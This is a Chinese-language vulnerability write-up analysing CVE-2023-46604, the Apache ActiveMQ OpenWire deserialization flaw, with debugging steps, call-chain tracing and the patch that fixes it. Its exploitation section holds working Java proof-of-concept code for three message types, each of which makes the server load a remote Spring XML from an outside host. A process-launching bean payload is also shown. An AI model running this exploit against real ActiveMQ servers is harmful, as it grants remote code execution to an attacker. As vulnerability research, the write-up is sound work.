以漏洞挖掘的思路看CVE-2023-46604-ActiveMQ反序列化RCE

文摘   科技   2024-06-24 14:09   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”


01

漏洞简介


Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。


影响版本:Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16


activemq默认端口 ActiveMQ 默认端口是61616(TCP传输协议)和61613(STOMP传输协议)。其中,61616端口是用于OpenWire传输协议的默认端口,OpenWire是ActiveMQ使用的默认传输协议,而61613端口是用于STOMP(Simple Text Oriented Messaging Protocol)传输协议的默认端口。当然,这些默认端口可以通过配置文件进行修改。如果您需要访问ActiveMQ服务器,请确保使用正确的端口号进行连接。

02
环境准备

下载漏洞环境: https://github.com/LiritoShawshark/CVE-2023-46604_ActiveMQ_RCE_Recurrence 在其win64/wrapper.conf的配置文件70、71行代码注释掉并按照要求填写对应的n,目的是为了打开远程调试。


启动开启5005远程调试端口 



(弄了一下午,不知道为什么mac的debug端口5005始终无法连接成功….无所谓,用windows吧) 



下载activemq的代码,稍后对其进行断点调试:https://github.com/apache/activemq/archive/refs/tags/activemq-5.15.15.zip



03

漏洞研究

sink点位于org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable 该方法通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。 


通过idea的查找发现其实有两处进行了调用 


1.org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#tightUnmarsalThrowable 2.org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#looseUnmarsalThrowable 



而通过相同的方法寻找上述两者的调用方法,共发现三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable: 


ConnectionErrorMarshallerExceptionResponseMarshallerMessageAckMarshaller(我怎么找不到你…)



根据ActiveMQ基础知识和漏洞描述来看,是openwire协议处理时出了问题。而通过OpenWire通信的包会在org.apache.activemq.openwire#doUnmarshal反序列化。调用栈如下:

doUnmarshal:365, OpenWireFormat (org.apache.activemq.openwire)unmarshal:278, OpenWireFormat (org.apache.activemq.openwire)readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)doRun:232, TcpTransport (org.apache.activemq.transport.tcp)run:215, TcpTransport (org.apache.activemq.transport.tcp)run:829, Thread (java.lang)

在285行处根据dataType索引值指定的DataStreamMarshaller接口的实现类,调用createObject方法,然后根据 tightEncodingEnabled 选择 tightUnmarshal() 或 looseUnmarshal()



而上述三个类均为 DataStreamMarshaller 接口的实现类,通过这里的分析,只要我们将 1. ConnectionErrorMarshaller 2. ExceptionResponseMarshaller 3. MessageAckMarshaller 三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。


整个利用思路图附上 




04

漏洞利用

ActiveMQ中默认的消息协议就是openwire,因为不是很熟悉ActiveMQ,所以‍编写一个 ActiveMQ 的通信请求


public static void main(String[] args) throws JMSException {      ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://10.125.133.141:61616");      Connection connection = connectionFactory.createConnection();      //启动连接      connection.start();      /*       * 创建会话,参数含义:       * 1.transacted - 是否使用事务       * 2.acknowledgeMode - 消息确认机制,可选机制为:     *  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息       *  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制       *  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制       */    Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);      //创建目的地,也就是队列名      Destination destination = session.createQueue("q_test");      //创建消息生成者,该生成者与目的地绑定      MessageProducer mProducer = session.createProducer(destination);      //创建消息      Message message = session.createTextMessage("Hello, ActiveMQ");      //发送消息      mProducer.send(message);      connection.close();  }

而我们这个例子调用过去,发现 datatype 为 1 调用的是 WireFormatInfoMarshaller ,我们需要调用到 datatype 为下面三个其中一个,才能触发漏洞


emmmm但是我们使用的是java原生jar包,可以直接发送这3个的类,并不需要去分析流量去构造数据包(当然比如go写的利用工具、python写的利用工具无法调用方法直接发送,需要构造数据包)

以下可以直接发送类,以下这两个类可以直接调用到

org.apache.activemq.transport.tcp.TcpTransport#oneway org.apache.activemq.ActiveMQSession#asyncSendPacketorg.apache.activemq.ActiveMQSession#syncSendPacket


或者使用: 

((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
 public static void ExceptionResponseExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection();        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ExceptionResponse expetionResponse = new ExceptionResponse();        expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        ExploitSession.syncSendPacket(expetionResponse);        //ExploitSession.asyncSendPacket(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);        connection.close();

}


这里利用的类是ClassPathXmlApplicationContext 由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码

public class ClassPathXmlApplicationContext extends Throwable{    public ClassPathXmlApplicationContext(String message) {        super(message);    }}
poc里的xml如下:

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="       http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd">      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg >                  <list>                          <value>notepad</value>          </list>            </constructor-arg>        </bean>    </beans>

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

public static void ConnectionErrorExploit() throws Exception {        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");        Connection connection = connectionFactory.createConnection();        connection.start();        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);        ConnectionError connectionError = new ConnectionError();        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));        //ExploitSession.syncSendPacket(connectionError);        //ExploitSession.asyncSendPacket(connectionError);        ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);        connection.close();
}

public static void MessageAckExploit() throws Exception { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616"); Connection connection = connectionFactory.createConnection(); connection.start(); ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE); MessageAck messageAck = new MessageAck(); messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml")); ExploitSession.syncSendPacket(messageAck); //ExploitSession.asyncSendPacket(messageAck); //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck); connection.close();
}
启动python服务。 


运行src/main/java/com/example/ExceptionResponseExploit.java即可


所以完善一下思维导图如下: 


总结一下:由于在61616端口处理时,对类的实例化并未进行严格的校验,导致 任意类实例化,而漏洞利用ClassPathXmlApplicationContext加载外部xml,构造ExceptionResponse、ConnectionErrorMarshaller、MessageAckMarshaller对象发送至61616端口,完成整个调用链子实现rce
05

漏洞修复


通过检查补丁,我们可以看到添加了一个新的检查OpenWireUtil.validateIsThrowable。此检查可确保在创建新的Throwable对象实例时,实例化的类确实是从Throwable类派生的。


参考:

https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/ https://www.cnblogs.com/vpandaxjl/p/17955481 https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis https://www.cnblogs.com/kingbridge/articles/17812062.html https://www.kfwx.net/other/23444789.html













A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章